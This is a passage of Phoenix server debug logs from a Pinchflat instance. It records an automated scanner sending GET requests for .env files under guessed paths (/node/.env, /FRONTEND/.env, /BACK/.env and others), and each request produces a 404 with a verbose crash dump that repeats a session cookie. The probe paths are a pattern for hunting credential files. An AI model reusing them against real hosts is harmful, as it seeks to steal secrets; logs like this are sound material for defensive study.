:undefined, qs: "", has_body: false, streamid: 35, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 35, host_info: :undefined }}, assigns: %{}, body_para (truncated) 17:14:26.996 [info] GET /node/.env 17:14:26.997 [debug] QUERY OK source="settings" db=0.1ms idle=544.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:26.997 [debug] QUERY OK source="settings" db=0.1ms idle=544.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:26.997 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:26.998 [error] #PID<0.11803.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 36) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /node/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /node/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/node/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 36, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11803.0>, params: %{}, path_info: ["node", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/node/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWywD4-mnHh0ABU8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/node/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 36, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /node/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/node/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 36, host_info: :undefined }}, assigns: %{}, body_params: %{}, cooki (truncated) 17:14:27.268 [info] GET /FRONT/.env 17:14:27.268 [debug] QUERY OK source="settings" db=0.2ms idle=543.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:27.268 [debug] QUERY OK source="settings" db=0.1ms idle=543.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:27.269 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:27.269 [error] #PID<0.11804.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 37) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /FRONT/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /FRONT/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/FRONT/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 37, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11804.0>, params: %{}, path_info: ["FRONT", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/FRONT/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWzwsqqyKD2QABU-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/FRONT/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 37, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /FRONT/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/FRONT/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 37, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:27.540 [info] GET /FRONTEND/.env 17:14:27.541 [debug] QUERY OK source="settings" db=0.1ms idle=614.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:27.541 [debug] QUERY OK source="settings" db=0.1ms idle=544.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:27.541 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:27.542 [error] #PID<0.11805.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 38) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /FRONTEND/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /FRONTEND/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/FRONTEND/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 38, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11805.0>, params: %{}, path_info: ["FRONTEND", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/FRONTEND/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsW0xu1pdnTRkABVAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/FRONTEND/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 38, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /FRONTEND/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/FRONTEND/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 38, host_info: :undefined }}, assigns: %{}, b (truncated) 17:14:27.812 [info] GET /BACK/.env 17:14:27.813 [debug] QUERY OK source="settings" db=0.2ms idle=815.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:27.813 [debug] QUERY OK source="settings" db=0.1ms idle=545.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:27.813 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:27.814 [error] #PID<0.11806.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 39) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /BACK/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /BACK/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/BACK/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 39, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 